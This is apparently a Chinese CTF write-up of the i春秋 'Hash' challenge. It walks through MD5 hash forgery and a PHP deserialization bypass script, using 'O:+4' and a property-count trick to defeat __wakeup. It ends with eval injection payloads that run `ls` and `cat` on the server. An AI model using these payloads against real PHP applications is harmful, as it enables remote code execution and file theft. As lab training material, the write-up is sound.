• i春秋Hash


    打开题目页面是一个超链接

    先查看源码得到一段信息

    没什么,这只是超链接跳转的信息

    点击跳转到下一个界面

    提示我们如果我们的传入不是123123也就是key了,在上面的url就可以看到

    如果key!=123我们就能得到flag

    然后后面是一段隐藏的信息,需要查看源码才看得到

    <!--$hash=md5($sign.$key);the length of $sign is 8

    告诉我们hash等于sign.keymd5加密,然后sign的长度是8

    题目中给了一段keyhash的例子

    key=123&hash=f9109d5f83921a551cf859f853afe7bb

    先对hash md5解密一下试试

    解出来是kkkkkk01123

    取其前8位就是kkkkkk01,所以这里的sign=kkkkkk01然后key=123

    很简单嘛,直接修改了就,让key=111然后sign还是等于kkkkkk01,构造hash=md5kkkkkk01111

    adaa10eef3a02754da03b5a3a6f40ae6(注意,这里是32位的md5加密)

    构造出url

    http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/index.php?key=111&hash=adaa10eef3a02754da03b5a3a6f40ae6

    访问之,提示我们next step is Gu3ss_m3_h2h2.php

    不多说,直接访问试试

    一段php代码

    看看源码有没有什么遗漏的

    (。。。。。应该没有)

    审计代码

    先定义了一个demo类然后是一个if语句,如果存在GET传入的var就执行,再定义变量var等于base64解密的GET[‘var’],然后一个正则表达式,如果匹配就输出stop hacking,此外就将var反序列化,此外高亮文件Gu3ss_m3_h2h2.php

    再看他的demo

    先是定义私有变量file让它指定一个文件

    然后再定义一个共有函数,让其this变量指向file的值等于file

    再定义函数__destruct(),让其输出高亮的文件。。。也就是我们看到的

    然后又定义一个函数,如果this_file指向的文件不是这个就让其等于这个

    最后还有一句注释,这秘密在f15g_1s_here.php

    大概意思懂了,url处通过请求访问Gu3ss_m3_h2h2.php文件,如果不是这个文件名的访问则会自动访问这个Gu3ss_m3_h2h2.php文件,但是秘密又在另一个文件中,而且我们不能hack这个网页

    。。。。。。。

    想想只需要绕过就行了吧

    我们这里就写个脚本来加密下f15g_1s_here.php来绕过它

    <?phpclass Demo {
        private $file = 'Gu3ss_m3_h2h2.php';
        public function __construct($file) {
            $this->file = $file;
        }
        function __destruct() {
            echo @highlight_file($this->file, true);
        }
        function __wakeup() {
            if ($this->file != 'Gu3ss_m3_h2h2.php') {
                //the secret is in the f15g_1s_here.php
                $this->file = 'Gu3ss_m3_h2h2.php';
            }
        }}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//绕过正则$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数echo base64_encode($s);//最后base64编码?>

    本地运行即可得到我们需要传入的值

    TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ== 构造url

    http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

    成功进入下一步

    再审计,如果存在GET传入的val就令变量val等于其,然后eval一段内容,内容具体组成是value的值连上valaddslashes转义字符串再连上;组成

    很明显了,这里就要我们利用eval()来获取到flag

    先试试f15g_1s_here.php?val=${eval("echo 'ls' ;")}

    发现页面没有显示了就。。。。看来不能这样用,因为上面的提示中提到了addslashes转义,它会将我们的’”都进行转义所以就不能这么构造eval指令

    这里使用urlGET传值来避免val中的’ls’被转义构造payload

    f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;

    查看到所有文件,再cat查看

    Payload

    f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;

    页面也没有回显,查看源码得到flag

  • 相关阅读:
    redis安装等其他操作
    jquery 图片缩放插件使用
    bootstrap 自定义模态窗口
    Linux下 mkdir 命令详解
    linux,chmod如何更改所有子目录的权限,要包括隐藏文件
    MFC中的句柄
    MFC——CDC
    CREATESTRUCT cs 结构体
    MFC函数—— CFrameWnd::OnCreateClient
    MFC函数——CWnd::OnEraseBkgnd
  • 原文地址:https://www.cnblogs.com/wosun/p/11505950.html
Copyright © 2020-2023  润新知